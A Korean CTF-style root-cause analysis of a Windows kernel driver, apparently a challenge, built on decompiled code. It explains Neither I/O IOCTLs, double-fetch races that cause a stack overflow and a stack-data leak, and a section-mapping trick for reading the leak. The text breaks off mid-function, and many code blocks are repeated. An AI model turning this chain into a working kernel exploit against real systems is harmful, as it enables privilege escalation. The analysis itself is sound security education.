NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}

sub_14000173C 함수에서 드라이버는 \DosDevices\MemoryStorage라는 이름의 기호 링크를 생성하고 드라이버 장치를 커널에 등록합니다. 이 기호 링크를 통해 사용자 모드 애플리케이션은 요청을 보내 드라이버와 통신할 수 있습니다.

조건문 블록 내부에서 드라이버는 디스패치 루틴을 등록합니다. a1->MajorFunction[0]a1->MajorFunction[2] 항목은 디바이스 핸들이 열리거나 닫힐 때 호출되는 IRP_MJ_CREATEIRP_MJ_CLOSE 루틴에 대응합니다. 이 루틴들은 문제를 해결하는 데 있어서 필수적인 부분은 아니므로 완결성을 위해서만 언급합니다.

가장 중요한 부분은 sub_140001370 함수를 IRP_MJ_DEVICE_CONTROL의 처리기로 등록하는 a1->MajorFunction[14]에 대한 할당입니다. 이 루틴은 I/O 제어 코드(IOCTL)를 기반으로 다양한 명령을 처리하는 역할을 담당하며, 취약점 분석에서 핵심적인 역할을 합니다.

__int64 __fastcall sub_14000173C(struct _DRIVER_OBJECT *a1)
{
  NTSTATUS v2; // [rsp+40h] [rbp-38h]
  PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-30h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DeviceObject = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\MemoryStorage");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\MemoryStorage");
  v2 = IoCreateDevice(a1, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject); // [1]
  if ( v2 >= 0 )
  {
    a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140001370; // [3]
    a1->DriverUnload = (PDRIVER_UNLOAD)sub_140001700;
    return (unsigned int)IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); // [2]
  }
  else
  {
    _mm_lfence();
    IoDeleteDevice(a1->DeviceObject);
    return (unsigned int)v2;
  }
}
__int64 __fastcall sub_14000173C(struct _DRIVER_OBJECT *a1)
{
  NTSTATUS v2; // [rsp+40h] [rbp-38h]
  PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-30h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DeviceObject = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\MemoryStorage");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\MemoryStorage");
  v2 = IoCreateDevice(a1, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject); // [1]
  if ( v2 >= 0 )
  {
    a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140001370; // [3]
    a1->DriverUnload = (PDRIVER_UNLOAD)sub_140001700;
    return (unsigned int)IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); // [2]
  }
  else
  {
    _mm_lfence();
    IoDeleteDevice(a1->DeviceObject);
    return (unsigned int)v2;
  }
}
__int64 __fastcall sub_14000173C(struct _DRIVER_OBJECT *a1)
{
  NTSTATUS v2; // [rsp+40h] [rbp-38h]
  PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-30h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
  struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

  DeviceObject = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\MemoryStorage");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\MemoryStorage");
  v2 = IoCreateDevice(a1, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject); // [1]
  if ( v2 >= 0 )
  {
    a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_1400016C0;
    a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140001370; // [3]
    a1->DriverUnload = (PDRIVER_UNLOAD)sub_140001700;
    return (unsigned int)IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString); // [2]
  }
  else
  {
    _mm_lfence();
    IoDeleteDevice(a1->DeviceObject);
    return (unsigned int)v2;
  }
}

이제 sub_140001370 함수를 더 자세히 살펴보겠습니다. 이 함수는 네 개의 특정 I/O 제어 코드를 바탕으로 명령을 처리하는 핸들러 역할을 합니다.

각 코드의 작동 방식을 살펴보기 전에, 커널 드라이버로 요청을 보낼 때 사용되는 IRP (I/O Request Packet) 구조를 가볍게 검토하는 것이 도움이 됩니다. IRP는 I/O 작업을 나타내기 위해 Windows에서 사용하는 본질적인 데이터 구조이며, 요청된 작업, 관련 장치 및 연결된 버퍼에 대한 정보를 전달합니다. IRP의 작동 방식을 이해하는 것은 드라이버가 사용자 모드 요청을 처리하는 방식을 분석하는 데 중요합니다.

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLengtrh, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}
__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLengtrh, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}
__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLengtrh);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLengtrh, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}

IRP 구조

IRP (I/O Request Packet)는 운영체제와 장치 드라이버 간의 I/O 요청을 처리하는 데 사용되는 커널 수준의 구조체입니다. 이는 특정한 내부 레이아웃을 따르며, 중요한 필드 중 하나는 IO_STACK_LOCATION 구조체를 가리키는 CurrentStackLocation입니다. 이 구조체는 드라이버 스택의 각 계층이 IRP를 적절하게 처리할 수 있도록 돕습니다.

모든 I/O 요청은 IRP 및 이와 관련된 IO_STACK_LOCATION 구조체에 저장된 정보에 따라 처리됩니다. 이러한 필드들을 통해 드라이버는 각 요청을 용도에 맞게 처리할 수 있습니다.

예를 들어, sub_140001370 함수는 I/O 제어 코드를 기반으로 요청을 처리합니다. 이 경우 IO_STACK_LOCATION 구조체의 MajorFunction 필드 값은 14이며, 이는 IRP_MJ_DEVICE_CONTROL에 대응합니다. IoControlCode 필드가 특정 값과 일치하면 드라이버는 해당 I/O 요청에 대한 동작을 구현하는 함수를 실행합니다.

sub_140001370 함수에 표시된 값들은 모두 IRP 구조체 내의 필드에서 가져온 것입니다. IRP에는 많은 필드가 포함되어 있으므로 여기서 모두 설명하는 것은 실용적이지 않습니다. 전체 참고 자료는 여기의 공식 문서를 참조하시기 바랍니다.

이 문제를 해결하기 위해 우리는 IRP->CurrentStackLocation 내부에 위치한 Type3InputBuffer 필드에만 초점을 맞출 것입니다. 이 필드는 사용자가 제공한 입력 버퍼를 가리키며, 드라이버는 이를 사용하여 사용자 공간으로부터 데이터를 받습니다.

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  ...
  ...
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4]

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  ...
  ...
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4]

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  ...
  ...
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLengtrh = Event[4]

Type3InputBufferNeither I/O 방식을 사용하여 요청을 보낼 때 입력 버퍼로 사용됩니다. 이는 또 다른 중요한 개념으로 이어집니다. Neither I/O 방식이란 정확히 무엇일까요?

Neither I/O

공식 문서 [링크]에 따르면, Neither I/O 방식은 입력 또는 출력 버퍼에 액세스할 때 SystemBuffer (커널 모드 버퍼)나 MDL (Memory Descriptor List)을 제공하지 않습니다. 대신 사용자 모드 가상 주소를 직접 사용합니다. 즉, 이 방식을 사용하는 I/O 요청에서 사용자가 제공한 데이터는 사용자 공간에 남아 있으며 커널 메모리로 복사되지 않습니다.

이러한 맥락에서 입력 버퍼IO_STACK_LOCATION 구조체 내의 Type3InputBuffer 필드를 통해 처리되는 반면, 출력 버퍼IRP 구조체 내의 UserBuffer 필드를 통해 액세스됩니다. 이 포인터들은 사용자 공간에 위치한 메모리를 참조하므로, 이를 검증하고 안전하게 사용하는 것은 드라이버의 책임이 됩니다.

I/O 제어 루틴이 Neither I/O 방식을 사용하는지 식별하는 방법은 간단합니다. I/O 제어 코드를 4로 나누었을 때 나머지가 3 주어지면 해당 루틴이 Neither I/O 방식을 사용함을 나타냅니다.

더 쉽게 말해, I/O 제어 코드의 마지막 반 바이트(니블)가 3, 7, B, 또는 F 중 하나이면 해당 루틴은 Neither I/O를 사용하는 것입니다.

sub_140001370 지속 분석

이제 sub_140001370 함수의 분석을 계속해 보겠습니다. 앞서 설명한 것처럼, I/O 제어 코드 0x71010030x7101007이 Neither I/O 방식을 사용함을 확인할 수 있습니다. 이는 이 코드들을 처리하는 루틴 내에서 드라이버가 Type3InputBuffer 필드를 입력 버퍼로 사용함을 의미합니다.

Neither I/O는 사용자 모드 가상 주소를 드라이버로 직접 전달하므로, Type3InputBuffer가 참조하는 버퍼는 커널 메모리가 아니라 사용자 공간에 존재합니다. 따라서 드라이버가 명시적으로 검증하거나 안전한 영역으로 복사하지 않는 한, 이 포인터를 사용한 모든 데이터 액세스는 사용자의 주소 공간 내에서 발생합니다.

__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLength = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLength, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}
__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLength = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLength, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}
__int64 __fastcall sub_140001370(__int64 a1, _IRP *Irp)
{
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int IOCTL; // [rsp+24h] [rbp-34h]
  unsigned int InputBufferLengtrh; // [rsp+28h] [rbp-30h]
  unsigned int *Event; // [rsp+30h] [rbp-28h]
  struct _IRP *SystemBuffer; // [rsp+38h] [rbp-20h]
  unsigned __int16 *Type3InputBuffer; // [rsp+40h] [rbp-18h]

  v3 = 0;
  Event = (unsigned int *)CAMSchedule::GetEvent((CAMSchedule *)Irp);
  Type3InputBuffer = (unsigned __int16 *)*((_QWORD *)Event + 4);
  SystemBuffer = Irp->AssociatedIrp.MasterIrp;
  InputBufferLength = Event[4];
  IOCTL = Event[6];
  switch ( IOCTL )
  {
    case 0x7101003u:
      v3 = sub_140001274(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101007u:
      v3 = sub_14000113C(Type3InputBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101010u:
      v3 = sub_1400014CC(SystemBuffer, InputBufferLength);
      Irp->IoStatus.Information = 0;
      break;
    case 0x7101014u:
      v3 = sub_140001000(SystemBuffer, InputBufferLength, SystemBuffer, Event[2]);
      if ( v3 )
        Irp->IoStatus.Information = 0;
      else
        Irp->IoStatus.Information = 0x10000;
      break;
  }
  Irp->IoStatus.Status = v3;
  IofCompleteRequest(Irp, 0);
  return v3;
}

근본 원인 분석: 스택 기반 버퍼 오버플로우

I/O 제어 코드 0x7101003을 처리하는 sub_140001274 함수를 분석해 보겠습니다. 이 함수는 다음 다섯 단계를 거쳐 사용자가 제공한 메모리 영역의 데이터를 Dst라는 이름의 로컬 커널 버퍼로 복사합니다.

  1. 함수는 먼저 Type3InputBuffer가 유효한 사용자 모드 포인터인지, 크기가 최소 0x10 바이트 이상인지 확인합니다.

  2. 그런 다음 Type3InputBuffer의 처음 2바이트를 검사하여 해당 값이 0x40 이하이고 0이 아닌지를 확인합니다.

  3. 함수는 Type3InputBuffer 내의 8바이트 오프셋 주소에서 8바이트 값을 읽습니다. 또 다른 포인터를 나타내는 이 값은 로컬 변수 v4에 저장됩니다.

  4. ProbeForRead를 사용하여 v4에 저장된 주소가 읽기 가능한 사용자 모드 주소인지 검증합니다.

  5. 위의 모든 검사가 통과하면 함수는 v4가 가리키는 메모리로부터 2단계에서 읽은 값만큼의 바이트를 로컬 변수 Dst로 복사합니다.

이 과정을 통해 드라이버는 사용자가 제공한 데이터를 읽고 복사하려고 시도하지만, 나중에 살펴보겠지만 이 검증들이 불완전하거나 오용될 경우 해당 로직이 악용될 수 있습니다.

__int64 __fastcall sub_140001274(unsigned __int16 *Type3InputBuffer, unsigned int InputBufferLength)
{
  unsigned __int16 v3; // [rsp+20h] [rbp-68h]
  volatile void *v4; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 0x10 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 0x10u, 8u); // [1]
  v3 = *Type3InputBuffer; // [2]
  if ( *Type3InputBuffer > 0x40u || !v3 ) // [2]
    return 3221225485LL;
  v4 = (volatile void *)*((_QWORD *)Type3InputBuffer + 1); // [3]
  ProbeForRead(v4, v3, 8u); // [4]
  memcpy(Dst, (const void *)v4, *(unsigned int *)Type3InputBuffer); // [5]
  return 0;
}
__int64 __fastcall sub_140001274(unsigned __int16 *Type3InputBuffer, unsigned int InputBufferLength)
{
  unsigned __int16 v3; // [rsp+20h] [rbp-68h]
  volatile void *v4; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 0x10 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 0x10u, 8u); // [1]
  v3 = *Type3InputBuffer; // [2]
  if ( *Type3InputBuffer > 0x40u || !v3 ) // [2]
    return 3221225485LL;
  v4 = (volatile void *)*((_QWORD *)Type3InputBuffer + 1); // [3]
  ProbeForRead(v4, v3, 8u); // [4]
  memcpy(Dst, (const void *)v4, *(unsigned int *)Type3InputBuffer); // [5]
  return 0;
}
__int64 __fastcall sub_140001274(unsigned __int16 *Type3InputBuffer, unsigned int InputBufferLength)
{
  unsigned __int16 v3; // [rsp+20h] [rbp-68h]
  volatile void *v4; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 0x10 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 0x10u, 8u); // [1]
  v3 = *Type3InputBuffer; // [2]
  if ( *Type3InputBuffer > 0x40u || !v3 ) // [2]
    return 3221225485LL;
  v4 = (volatile void *)*((_QWORD *)Type3InputBuffer + 1); // [3]
  ProbeForRead(v4, v3, 8u); // [4]
  memcpy(Dst, (const void *)v4, *(unsigned int *)Type3InputBuffer); // [5]
  return 0;
}

언뜻 보기에는 사용자가 제공한 모든 주소와 값이 올바르게 검증된 것처럼 보여 함수가 안전한 것처럼 보입니다. 그러나 Type3InputBuffer가 사용자 모드 메모리를 가리킨다는 점을 기억하십시오.

이 코드의 결함은 [2]단계에서 발생합니다. 이 단계에서 함수는 Type3InputBuffer의 처음 2바이트를 읽고 해당 값이 유효한 범위 내에 있는지 확인합니다. 하지만 [5]단계에서 memcpy를 호출할 때 이전에 저장된 v3 값을 사용하지 않습니다. 대신 Type3InputBuffer에서 다시 값을 읽어오기 때문에 double fetch(이중 페치)가 발생합니다.

이를 통해 사용자는 레이스 컨디션을 유발하여 로컬 변수 Dst0x40 바이트보다 더 많은 바이트를 복사하도록 할 수 있습니다.

하지만 이 스택 기반 버퍼 오버플로우 취약점을 익스플로잇하기 위해서는 커널 주소 유출이 필수적입니다. 그렇다면 커널 주소 유출을 허용하는 취약점은 어디에 존재할까요?

근본 원인 분석: 정보 공개 (Information Disclosure)

I/O 제어 코드 0x7101007을 처리하는 sub_14000113C 함수를 분석해 보겠습니다. 이 루틴 역시 Neither I/O 방식을 사용합니다. 이 함수는 다음 네 단계로 나눌 수 있습니다.

  1. 먼저 Type3InputBufferNULL이 아닌지, 입력 버퍼 길이가 최소 8바이트 이상인지 확인합니다. 그런 다음 ProbeForRead 함수를 사용하여 Type3InputBuffer가 유효한 사용자 모드 주소인지 확인합니다.

  2. Type3InputBuffer의 최초 2바이트 값이 0이 아니고 0x40 이하인지 확인합니다.

  3. 0x10000 바이트 크기의 메모리 풀을 할당합니다.

  4. Type3InputBuffer의 첫 2바이트에 지정된 크기를 사용하여 로컬 변수 Dst의 내용을 할당된 풀에 복사합니다.

  5. 할당된 풀은 글로벌 배열 qword_140003080에 저장됩니다.

이 함수도 이전 함수와 마찬가지로 [2]단계와 [4]단계 사이에서 double fetch에 취약합니다. 이 때문에 Dst 변수의 0x40 바이트 이상의 데이터가 풀로 복사될 수 있습니다. 문제는 이 복사된 데이터를 어디서 읽을 수 있는가입니다.

__int64 __fastcall sub_14000113C(_WORD *Type3InputBuffer, unsigned int InputBufferLength)
{
  int v3; // [rsp+24h] [rbp-64h]
  void *Pool2; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 8 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 8u, 8u); // [1]
  if ( (unsigned __int16)*Type3InputBuffer > 0x40u || !*Type3InputBuffer ) // [2]
    return 3221225485LL;
  Pool2 = (void *)ExAllocatePool2(256, 0x10000, 4673356); // [3]
  if ( !Pool2 )
    return 3221225632LL;
  memcpy(Pool2, Dst, (unsigned __int16)*Type3InputBuffer); // [4]
  v3 = _InterlockedIncrement(dword_140003880);
  if ( v3 > 256 )
    return 3221225473LL;
  qword_140003080[v3 - 1] = Pool2; // [5]
  return 0;
}
__int64 __fastcall sub_14000113C(_WORD *Type3InputBuffer, unsigned int InputBufferLength)
{
  int v3; // [rsp+24h] [rbp-64h]
  void *Pool2; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 8 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 8u, 8u); // [1]
  if ( (unsigned __int16)*Type3InputBuffer > 0x40u || !*Type3InputBuffer ) // [2]
    return 3221225485LL;
  Pool2 = (void *)ExAllocatePool2(256, 0x10000, 4673356); // [3]
  if ( !Pool2 )
    return 3221225632LL;
  memcpy(Pool2, Dst, (unsigned __int16)*Type3InputBuffer); // [4]
  v3 = _InterlockedIncrement(dword_140003880);
  if ( v3 > 256 )
    return 3221225473LL;
  qword_140003080[v3 - 1] = Pool2; // [5]
  return 0;
}
__int64 __fastcall sub_14000113C(_WORD *Type3InputBuffer, unsigned int InputBufferLength)
{
  int v3; // [rsp+24h] [rbp-64h]
  void *Pool2; // [rsp+28h] [rbp-60h]
  _BYTE Dst[64]; // [rsp+30h] [rbp-58h] BYREF

  memset(Dst, 0, sizeof(Dst));
  if ( !Type3InputBuffer || InputBufferLength < 8 ) // [1]
    return 3221225485LL;
  ProbeForRead(Type3InputBuffer, 8u, 8u); // [1]
  if ( (unsigned __int16)*Type3InputBuffer > 0x40u || !*Type3InputBuffer ) // [2]
    return 3221225485LL;
  Pool2 = (void *)ExAllocatePool2(256, 0x10000, 4673356); // [3]
  if ( !Pool2 )
    return 3221225632LL;
  memcpy(Pool2, Dst, (unsigned __int16)*Type3InputBuffer); // [4]
  v3 = _InterlockedIncrement(dword_140003880);
  if ( v3 > 256 )
    return 3221225473LL;
  qword_140003080[v3 - 1] = Pool2; // [5]
  return 0;
}

그 해답은 I/O 제어 코드 0x7101010을 처리하는 sub_1400014CC 함수에 있습니다. LoggingMemoryInformationForInternalMemoryStorageDriver라는 이름의 이 함수는 다음 단계를 수행합니다.

먼저 섹션(Section)을 생성합니다. 그런 다음 0x10000 바이트의 메모리를 해당 섹션에 매핑합니다. 그 후 글로벌 배열 qword_140003080의 내용을 매핑된 섹션 메모리에 복사합니다. 마지막으로 섹션 매핑을 해제하고 커널 모드에서 해당 핸들을 닫습니다.

여기서 의문이 생깁니다. 섹션이 매핑 해제되고 즉시 닫힌다면 어떻게 내부의 데이터에 액세스할 수 있을까요?

답은 Windows에서 사용자 모드 프로세스가 미리 공유 모드로 Section을 열어두면 커널이 섹션을 완전히 매핑 해제하고 닫을 수 없다는 것입니다. 드라이버가 릴리스하기 전에 사용자 모드에서 해당 섹션을 점유함으로써, 유출된 커널 주소를 포함하여 내부에 저장된 데이터에 액세스하는 것이 가능해집니다.

__int64 __fastcall sub_1400014CC(__int64 *a1, unsigned int a2)
{
  NTSTATUS v3; // [rsp+50h] [rbp-78h]
  NTSTATUS v4; // [rsp+50h] [rbp-78h]
  __int64 v5; // [rsp+58h] [rbp-70h]
  PVOID BaseAddress; // [rsp+60h] [rbp-68h] BYREF
  void *SectionHandle; // [rsp+68h] [rbp-60h] BYREF
  ULONG_PTR ViewSize; // [rsp+70h] [rbp-58h] BYREF
  union _LARGE_INTEGER MaximumSize; // [rsp+78h] [rbp-50h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+B0h] [rbp-18h] BYREF

  if ( !a1 || a2 < 8 )
    return 3221225485LL;
  v5 = *a1;
  if ( (unsigned __int64)*a1 >= 0x100 )
    return 3221225485LL;
